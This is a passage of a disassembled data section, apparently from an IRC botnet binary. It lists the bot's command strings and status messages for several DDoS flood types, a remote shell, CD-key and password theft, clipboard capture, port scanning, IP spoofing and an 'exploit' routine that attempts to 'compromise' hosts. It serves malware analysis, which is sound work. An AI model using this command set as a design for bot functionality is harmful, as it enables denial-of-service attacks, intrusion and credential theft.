; DATA XREF: sub_401CC7+1043o
; char aSocks4[]
aSocks4 db 'socks4',0 ; DATA XREF: sub_401CC7+1065o
align 10h
; char aS4[]
aS4 db 's4',0 ; DATA XREF: sub_401CC7+107Ao
align 4
; char asc_4403B4[]
asc_4403B4 db '-' ; DATA XREF: sub_401CC7+2BC9o
db 3, 34h, 2
dd 6B636F73h, 3023473h
aServerStarte_0 db '- Server started on: %s:%d.',0
dword_4403DC dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401CC7+2C38o
aFailedToStar_2 db '- Failed to start server thread, error: <%d>.',0
align 4
; char aSocks4stop[]
aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401CC7+108Fo
align 4
aServer_1 db 'Server',0 ; DATA XREF: sub_401CC7+10A8o
align 4
dword_44042C dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401CC7+10ADo
; char aRloginstop[]
aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401CC7+10B5o
align 4
aServer_2 db 'Server',0 ; DATA XREF: sub_401CC7+10CEo
align 10h
dword_440450 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401CC7+10D3o
; char aHttpstop[]
aHttpstop db 'httpstop',0 ; DATA XREF: sub_401CC7+10DEo
align 4
aServer_3 db 'Server',0 ; DATA XREF: sub_401CC7+10F7o
align 4
dword_440474 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401CC7+10FCo
; char aLogstop[]
aLogstop db 'logstop',0 ; DATA XREF: sub_401CC7+1107o
aLogList db 'Log list',0 ; DATA XREF: sub_401CC7+1120o
align 4
dword_440498 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401CC7+1125o
; char aRedirectstop[]
aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401CC7+1130o
align 4
aTcpRedirect db 'TCP redirect',0 ; DATA XREF: sub_401CC7+1149o
align 4
dword_4404C4 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401CC7+114Eo
; char aDdos_stop[]
aDdos_stop db 'ddos.stop',0 ; DATA XREF: sub_401CC7+1159o
align 10h
aDdosFlood db 'DDoS flood',0 ; DATA XREF: sub_401CC7+1172o
align 4
dword_4404EC dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401CC7+1177o
; char aSynstop[]
aSynstop db 'synstop',0 ; DATA XREF: sub_401CC7+1182o
aSynFlood db 'Syn flood',0 ; DATA XREF: sub_401CC7+119Bo
align 4
dword_44050C dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401CC7+11A0o
; char aSkysynstop[]
aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401CC7+11ABo
align 4
aSkysynFlood db 'SkySyn flood',0 ; DATA XREF: sub_401CC7+11C4o
align 4
dword_440534 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401CC7+11C9o
; char aTarga3stop[]
aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401CC7+11D4o
align 10h
aTarga3Flood db 'Targa3 flood',0 ; DATA XREF: sub_401CC7+11EDo
align 10h
dword_440560 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401CC7+11F2o
; char aWonkstop[]
aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401CC7+11FDo
align 4
aWonkFlood db 'Wonk flood',0 ; DATA XREF: sub_401CC7+1216o
align 4
dword_440588 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401CC7+121Bo
; char aPacketstop[]
aPacketstop db 'packetstop',0 ; DATA XREF: sub_401CC7+1226o
align 10h
aDdosFlood_0 db 'DDoS flood',0 ; DATA XREF: sub_401CC7+1247o
align 4
dword_4405AC dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401CC7+124Co
aSynFlood_0 db 'Syn flood',0 ; DATA XREF: sub_401CC7+1265o
align 4
dword_4405C4 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401CC7+126Ao
aUdpFlood db 'UDP flood',0 ; DATA XREF: sub_401CC7+1286o
align 4
dword_4405DC dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401CC7+128Bo
aPingFlood db 'Ping flood',0 ; DATA XREF: sub_401CC7+12A4o
align 4
dword_4405F4 dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401CC7+12A9o
aTarga3Flood_0 db 'Targa3 flood',0 ; DATA XREF: sub_401CC7+12C5o
align 10h
dword_440610 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401CC7+12CAo
aWonkFlood_0 db 'Wonk flood',0 ; DATA XREF: sub_401CC7+12E3o
align 4
dword_44062C dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401CC7+12E8o
aTsunamiFlood db 'Tsunami flood',0 ; DATA XREF: sub_401CC7+1304o
align 4
dword_440648 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401CC7+1309o
aWisdomAttack db 'Wisdom attack',0 ; DATA XREF: sub_401CC7+1322o
align 4
dword_440668 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401CC7+1327o
aSkysynFlood_0 db 'SkySyn flood',0 ; DATA XREF: sub_401CC7+1343o
align 4
dword_440688 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401CC7+1348o
unk_440698 db 2Dh ; - ; DATA XREF: sub_401CC7+1362o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aAllPacketingAc db 'All packeting activity has been halted.',0
; char aTsunamistop[]
aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401CC7+137Co
aTsunamiFlood_0 db 'Tsunami flood',0 ; DATA XREF: sub_401CC7+1395o
align 4
dword_4406E8 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401CC7+139Ao
; char aWisdomstop[]
aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401CC7+13A5o
align 4
aWisdomAttack_0 db 'Wisdom attack',0 ; DATA XREF: sub_401CC7+13BEo
align 4
dword_440714 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401CC7+13C3o
; char aUdpstop[]
aUdpstop db 'udpstop',0 ; DATA XREF: sub_401CC7+13CEo
aUdpFlood_0 db 'UDP flood',0 ; DATA XREF: sub_401CC7+13E7o
align 4
dword_440738 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401CC7+13ECo
; char aPingstop[]
aPingstop db 'pingstop',0 ; DATA XREF: sub_401CC7+13F7o
align 10h
aPingFlood_0 db 'Ping flood',0 ; DATA XREF: sub_401CC7+1410o
align 4
dword_44075C dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401CC7+1415o
; char aTftpstop[]
aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401CC7+1420o
align 4
aServer_4 db 'Server',0 ; DATA XREF: sub_401CC7+1439o
align 4
dword_44077C dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401CC7+143Eo
; char aFindfilestop[]
aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401CC7+1449o
align 4
; char aFfstop[]
aFfstop db 'ffstop',0 ; DATA XREF: sub_401CC7+145Eo
align 4
aFindFile db 'Find file',0 ; DATA XREF: sub_401CC7+2B11o
align 10h
dword_4407B0 dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401CC7+2B16o
; char aProcsstop[]
aProcsstop db 'procsstop',0 ; DATA XREF: sub_401CC7+1473o
align 4
; char aPsstop[]
aPsstop db 'psstop',0 ; DATA XREF: sub_401CC7+1488o
align 4
aProcessList db 'Process list',0 ; DATA XREF: sub_401CC7+2AF9o
align 4
dword_4407E4 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401CC7+2AFEo
; char aClonestop[]
aClonestop db 'clonestop',0 ; DATA XREF: sub_401CC7+149Do
align 10h
aClone db 'Clone',0 ; DATA XREF: sub_401CC7+14B6o
align 4
dword_440808 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401CC7+14BBo
; char aSecurestop[]
aSecurestop db 'securestop',0 ; DATA XREF: sub_401CC7+14C6o
align 4
aSecure_0 db 'Secure',0 ; DATA XREF: sub_401CC7+14DFo
align 4
dword_44082C dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401CC7+14E4o
; char aScanstop[]
aScanstop db 'scanstop',0 ; DATA XREF: sub_401CC7+14EFo
align 4
aScan db 'Scan',0 ; DATA XREF: sub_401CC7+1508o
align 10h
dword_440850 dd 234032Dh, 6E616373h, 2D0302h ; DATA XREF: sub_401CC7+150Do
; char aScanstats[]
aScanstats db 'scanstats',0 ; DATA XREF: sub_401CC7+1518o
align 4
; char aStats[]
aStats db 'stats',0 ; DATA XREF: sub_401CC7+152Do
align 10h
; char aTransferstats[]
aTransferstats db 'transferstats',0 ; DATA XREF: sub_401CC7+1542o
align 10h
; char aTrstats[]
aTrstats db 'trstats',0 ; DATA XREF: sub_401CC7+1557o
; char aConnectbacksta[]
aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401CC7+156Co
align 4
; char aCbstats[]
aCbstats db 'cbstats',0 ; DATA XREF: sub_401CC7+1581o
; char aExploitlist[]
aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401CC7+1596o
; char aExplist[]
aExplist db 'explist',0 ; DATA XREF: sub_401CC7+15ABo
; char aReconnect[]
aReconnect db 'reconnect',0 ; DATA XREF: sub_401CC7+15C0o
align 4
; char aR[]
aR: ; DATA XREF: sub_401CC7+15D5o
unicode 0, <r>,0
; char aQuitReconnecti[]
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401CC7:loc_404740o
align 10h
dword_4408E0 dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh
; DATA XREF: sub_401CC7+2A86o
dd 676E6974h, 2Eh
; char aDisconnect[]
aDisconnect db 'disconnect',0 ; DATA XREF: sub_401CC7+15EAo
align 4
; char aDc[]
aDc db 'dc',0 ; DATA XREF: sub_401CC7+15FFo
align 4
; char aQuitDisconnect[]
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401CC7:loc_40471Eo
align 4
dword_440924 dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh
; DATA XREF: sub_401CC7+2A64o
dd 6E697463h, 2E67h
; char aQuit_0[]
aQuit_0 db 'quit',0 ; DATA XREF: sub_401CC7+1614o
align 4
; char aQ[]
aQ: ; DATA XREF: sub_401CC7+1629o
unicode 0, <q>,0
; char aQuitS[]
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+2A2Fo
align 4
; char aQuitLater[]
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401CC7:loc_404708o
align 4
; char aStatus[]
aStatus db 'status',0 ; DATA XREF: sub_401CC7+163Eo
align 10h
; char aS_2[]
aS_2: ; DATA XREF: sub_401CC7+1653o
unicode 0, <s>,0
unk_440974 db 2Dh ; - ; DATA XREF: sub_401CC7+2A08o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0
align 10h
; char aId[]
aId db 'id',0 ; DATA XREF: sub_401CC7+1668o
align 4
; char aI_0[]
aI_0 db 'i',0 ; DATA XREF: sub_401CC7+167Do
align 4
; char asc_4409A8[]
asc_4409A8 db '-' ; DATA XREF: sub_401CC7+29C9o
db 3, 34h, 2
dd 6E69616Dh, 202D0302h, 20746F42h, 203A4449h, 2E7325h
; char aReboot[]
aReboot db 'reboot',0 ; DATA XREF: sub_401CC7+1692o
align 4
; char asc_4409C8[]
asc_4409C8 db '-' ; DATA XREF: sub_401CC7+16A9o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRebootingSyste db 'Rebooting system.',0
align 4
unk_4409E8 db 2Dh ; - ; DATA XREF: sub_401CC7+16B0o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToReboot db 'Failed to reboot system.',0
align 10h
; char aThreads[]
aThreads db 'threads',0 ; DATA XREF: sub_401CC7+16E4o
; char aT[]
aT: ; DATA XREF: sub_401CC7+16F9o
unicode 0, <t>,0
; char aSub[]
aSub db 'sub',0 ; DATA XREF: sub_401CC7+2925o
; char asc_440A20[]
asc_440A20 db '-' ; DATA XREF: sub_401CC7+294Bo
db 3, 34h, 2
dd 65726874h, 2736461h, 4C202D03h, 20747369h, 65726874h
dd 2E736461h, 0
unk_440A40 db 2Dh ; - ; DATA XREF: sub_401CC7+29BAo
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToStartL db '- Failed to start list thread, error: <%d>.',0
align 4
; char aAliases[]
aAliases db 'aliases',0 ; DATA XREF: sub_401CC7+170Eo
; char aAl[]
aAl db 'al',0 ; DATA XREF: sub_401CC7+1723o
align 4
dword_440A88 dd 234032Dh, 6E69616Dh, 202D0302h, 61696C41h, 696C2073h
; DATA XREF: sub_401CC7+28D3o
dd 2E7473h
; char aLog[]
aLog db 'log',0 ; DATA XREF: sub_401CC7+1738o
; char aLg[]
aLg db 'lg',0 ; DATA XREF: sub_401CC7+174Do
align 4
; char aS_36[]
aS_36 db '%s',0 ; DATA XREF: sub_401CC7+27F5o
align 4
; char asc_440AAC[]
asc_440AAC db '-' ; DATA XREF: sub_401CC7+2849o
db 3, 34h, 2
dd 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh, 2E676Fh
unk_440AC4 db 2Dh ; - ; DATA XREF: sub_401CC7+28B8o
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedToStar_3 db '- Failed to start listing thread, error: <%d>.',0
; char aClearlog[]
aClearlog db 'clearlog',0 ; DATA XREF: sub_401CC7+1762o
align 4
; char aClg[]
aClg db 'clg',0 ; DATA XREF: sub_401CC7+1777o
; char aNetinfo[]
aNetinfo db 'netinfo',0 ; DATA XREF: sub_401CC7+178Co
; char aNi[]
aNi db 'ni',0 ; DATA XREF: sub_401CC7+17A1o
align 4
dword_440B18 dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh
; DATA XREF: sub_401CC7+27A4o
dd 6F666E49h, 2Eh
; char aSysinfo[]
aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401CC7+17B6o
; char aSi[]
aSi db 'si',0 ; DATA XREF: sub_401CC7+17CBo
align 10h
dword_440B40 dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h
; DATA XREF: sub_401CC7+2775o
dd 2E6F666Eh, 0
; char aRemove[]
aRemove db 'remove',0 ; DATA XREF: sub_401CC7+17E0o
align 4
; char aRm[]
aRm db 'rm',0 ; DATA XREF: sub_401CC7+17F5o
align 4
dword_440B68 dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h
; DATA XREF: sub_401CC7+2720o
dd 746F4220h, 2Eh
; char aProcs[]
aProcs db 'procs',0 ; DATA XREF: sub_401CC7+180Ao
align 4
; char aPs[]
aPs db 'ps',0 ; DATA XREF: sub_401CC7+181Fo
align 10h
unk_440B90 db 2Dh ; - ; DATA XREF: sub_401CC7+260Do
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aAlreadyRunning db ' Already running.',0
align 10h
; char aFull[]
aFull db 'full',0 ; DATA XREF: sub_401CC7+266Fo
align 4
; char asc_440BB8[]
asc_440BB8 db '-' ; DATA XREF: sub_401CC7+268Fo
db 3, 34h, 2
dd 636F7270h, 2D030273h, 6F725020h, 73656363h, 696C2073h
dd 2E7473h
; char asc_440BD4[]
asc_440BD4 db '-' ; DATA XREF: sub_401CC7+2704o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToStar_4 db ' Failed to start listing thread, error: <%d>.',0
align 10h
; char aGetcdkeys[]
aGetcdkeys db 'getcdkeys',0 ; DATA XREF: sub_401CC7+1834o
align 4
; char aKey[]
aKey db 'key',0 ; DATA XREF: sub_401CC7+1849o
dword_440C20 dd 234032Dh, 656B6463h, 3027379h ; DATA XREF: sub_401CC7+25EAo
aSearchComplete db '- Search completed.',0
; char aUptime[]
aUptime db 'uptime',0 ; DATA XREF: sub_401CC7+185Eo
align 4
; char aUp[]
aUp db 'up',0 ; DATA XREF: sub_401CC7+1873o
align 4
; char asc_440C4C[]
asc_440C4C db '-' ; DATA XREF: sub_401CC7+259Eo
db 3, 34h, 2
dd 6E69616Dh, 202D0302h, 69747055h, 203A656Dh, 2E7325h
; char aDriveinfo[]
aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401CC7+1888o
align 10h
; char aDrv[]
aDrv db 'drv',0 ; DATA XREF: sub_401CC7+189Do
; char aTestdlls[]
aTestdlls db 'testdlls',0 ; DATA XREF: sub_401CC7+18B2o
align 10h
; char aDll[]
aDll db 'dll',0 ; DATA XREF: sub_401CC7+18C7o
; char aOpencmd[]
aOpencmd db 'opencmd',0 ; DATA XREF: sub_401CC7+18DCo
; char aOcmd[]
aOcmd db 'ocmd',0 ; DATA XREF: sub_401CC7+18F1o
align 4
unk_440C94 db 2Dh ; - ; DATA XREF: sub_401CC7+24E5o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellAlr db '- Remote shell already running.',0
align 10h
unk_440CC0 db 2Dh ; - ; DATA XREF: sub_401CC7+2504o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0
align 4
unk_440CE8 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_4041D5o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellRea db '- Remote shell ready.',0
align 4
; char aCmdstop[]
aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401CC7+1906o
aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_401CC7+191Fo
align 10h
dword_440D20 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401CC7+1924o
; char aWho[]
aWho db 'who',0 ; DATA XREF: sub_401CC7+192Fo
dword_440D30 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh
; DATA XREF: sub_401CC7+194Co
aEmpty db '<Empty>',0 ; DATA XREF: sub_401CC7:loc_40363Eo
; char aD_S[]
aD_S db '%d. %s',0 ; DATA XREF: sub_401CC7+1986o
align 4
unk_440D54 db 2Dh ; - ; DATA XREF: sub_401CC7+19BEo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aLoginListCompl db 'Login list complete.',0
align 4
; char aGetclip[]
aGetclip db 'getclip',0 ; DATA XREF: sub_401CC7+1A4Co
; char aGc[]
aGc db 'gc',0 ; DATA XREF: sub_401CC7+1A61o
align 4
dword_440D84 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h
; DATA XREF: sub_401CC7+24A1o
dd 2Dh
dword_440D9C dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h
; DATA XREF: sub_401CC7+24CFo
dd 72616F62h, 2E64h
; char aFlusharp[]
aFlusharp db 'flusharp',0 ; DATA XREF: sub_401CC7+1A76o
align 4
; char aFarp[]
aFarp db 'farp',0 ; DATA XREF: sub_401CC7+1A8Bo
align 4
unk_440DCC db 2Dh ; - ; DATA XREF: sub_401CC7+248Ao
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheFlushe db 'ARP cache flushed.',0
align 10h
unk_440DF0 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_404158o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushA db 'Failed to flush ARP cache.',0
align 4
; char aFlushdns[]
aFlushdns db 'flushdns',0 ; DATA XREF: sub_401CC7+1AA0o
align 4
; char aFdns[]
aFdns db 'fdns',0 ; DATA XREF: sub_401CC7+1AB5o
align 10h
unk_440E30 db 2Dh ; - ; DATA XREF: sub_401CC7+2458o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aDnsCacheFlushe db 'DNS cache flushed.',0
align 4
unk_440E54 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_404126o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushD db 'Failed to flush DNS cache.',0
align 10h
; char asc_440E80[]
asc_440E80 db '-' ; DATA XREF: sub_401CC7:loc_40412Do
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToLoadDn db 'Failed to load dnsapi.dll.',0
align 4
; char aCurrentip[]
aCurrentip db 'currentip',0 ; DATA XREF: sub_401CC7+1ACAo
align 4
; char aCip[]
aCip db 'cip',0 ; DATA XREF: sub_401CC7+1ADFo
; char aRloginserver[]
aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401CC7+1AF4o
align 4
; char aRlogin[]
aRlogin db 'rlogin',0 ; DATA XREF: sub_401CC7+1B09o
align 4
; char asc_440ED4[]
asc_440ED4 db '-' ; DATA XREF: sub_401CC7+2396o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0
unk_440F10 db 2Dh ; - ; DATA XREF: sub_401CC7+2405o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToStar_5 db '- Failed to start server thread, error: <%d>.',0
align 4
; char aHttpserver[]
aHttpserver db 'httpserver',0 ; DATA XREF: sub_401CC7+1B1Eo
align 4
; char aHttp[]
aHttp db 'http',0 ; DATA XREF: sub_401CC7+1B33o
align 10h
; char asc_440F60[]
asc_440F60 db '-' ; DATA XREF: sub_401CC7+2245o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0
; char asc_440F9C[]
asc_440F9C db '-' ; DATA XREF: sub_401CC7+22B0o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToStar_6 db ' Failed to start server thread, error: <%d>.',0
align 4
; char aTftpserver[]
aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401CC7+1B48o
align 4
; char aTftp[]
aTftp db 'tftp',0 ; DATA XREF: sub_401CC7+1B5Do
align 4
unk_440FEC db 2Dh ; - ; DATA XREF: sub_401CC7+201Ao
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aAlreadyRunni_0 db ' Already running.',0
align 4
; char asc_44100C[]
asc_44100C db '-' ; DATA XREF: sub_401CC7+20CFo
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aServerStarte_1 db ' Server started on Port: %d, File: %s.',0
align 10h
unk_441040 db 2Dh ; - ; DATA XREF: sub_401CC7+213Eo
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToStar_7 db ' Failed to start server thread, error: <%d>.',0
align 4
; char aCrash[]
aCrash db 'crash',0 ; DATA XREF: sub_401CC7+1B72o
align 4
; char asc_441084[]
asc_441084 db '-' ; DATA XREF: sub_401CC7+1B88o
db 3, 34h, 2
dd 6E69616Dh, 202D0302h, 73617243h, 676E6968h, 746F6220h
dd 2Eh
aCrash_0 db 'crash',0 ; DATA XREF: sub_401CC7+1BC2o
align 4
; char aScanall[]
aScanall db 'scanall',0 ; DATA XREF: sub_401CC7+1BD8o
; char aSa[]
aSa db 'sa',0 ; DATA XREF: sub_401CC7+1BEDo
align 4
; char asc_4410B4[]
asc_4410B4 db '-' ; DATA XREF: sub_401CC7+1D5Eo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aAlreadyDScanni db '- Already %d scanning threads. Too many specified.',0
unk_4410F4 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_403CCBo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aFailedToStar_8 db '- Failed to start scan, port is invalid.',0
align 4
aRandom db 'Random',0 ; DATA XREF: sub_401CC7+1F11o
align 4
aSequential db 'Sequential',0 ; DATA XREF: sub_401CC7+1F18o
align 10h
; char asc_441140[]
asc_441140 db '-' ; DATA XREF: sub_401CC7+1F43o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aSPortScanStart db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
db ' minutes using %d threads.',0
align 4
; char asc_4411AC[]
asc_4411AC db '-' ; DATA XREF: sub_401CC7+1FB4o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aFailedToStar_9 db '- Failed to start scan thread, error: <%d>.',0
align 4
; char aPhonehome[]
aPhonehome db 'phonehome',0 ; DATA XREF: sub_401CC7+1C02o
align 4
; char aNoticeSPhoning[]
aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+1C19o
align 4
; char aFindpass[]
aFindpass db 'findpass',0 ; DATA XREF: sub_401CC7+1C2Co
align 4
; char aFp[]
aFp db 'fp',0 ; DATA XREF: sub_401CC7+1C3Do
align 4
; char asc_441228[]
asc_441228 db '-' ; DATA XREF: sub_401CC7+1C86o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aSearchingForPa db 'Searching for password.',0
unk_441250 db 2Dh ; - ; DATA XREF: sub_401CC7+1D00o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToSta_10 db 'Failed to start search thread, error: <%d>.',0
; char aSpoof[]
aSpoof db 'spoof',0 ; DATA XREF: sub_401CC7+19DCo
align 4
; char Str2[]
Str2 db 'off',0 ; DATA XREF: sub_401CC7+19F3o
; char asc_441298[]
asc_441298 db '-' ; DATA XREF: sub_401CC7+1A0Eo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingDisabl db ' Spoofing disabled.',0
; char aGet_2[]
aGet_2 db 'get',0 ; DATA XREF: sub_401CC7:loc_404C0Do
unk_4412C4 db 2Dh ; - ; DATA XREF: sub_401CC7+2F68o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0
align 4
; char aD_D_D_[]
aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401CC7+2FC1o
align 4
unk_441308 db 2Dh ; - ; DATA XREF: sub_401CC7+2FD6o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingCurr_0 db ' Spoofing currently set to ',27h,'%s',27h,'.',0
align 10h
unk_441340 db 2Dh ; - ; DATA XREF: sub_401CC7+2FEAo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0
; char asc_441374[]
asc_441374 db '-' ; DATA XREF: sub_401CC7+3008o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0
align 10h
; char aExploit[]
aExploit db 'exploit',0 ; DATA XREF: sub_401CC7+3022o
; char asc_4413A8[]
asc_4413A8 db '-' ; DATA XREF: sub_401CC7+30A8o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aAttemptingToCo db '- attempting to compromise %s...',0
align 4
unk_4413D8 db 2Dh ; - ; DATA XREF: sub_401CC7+311Ao
db 3, 34h, 2
db 65h ; e
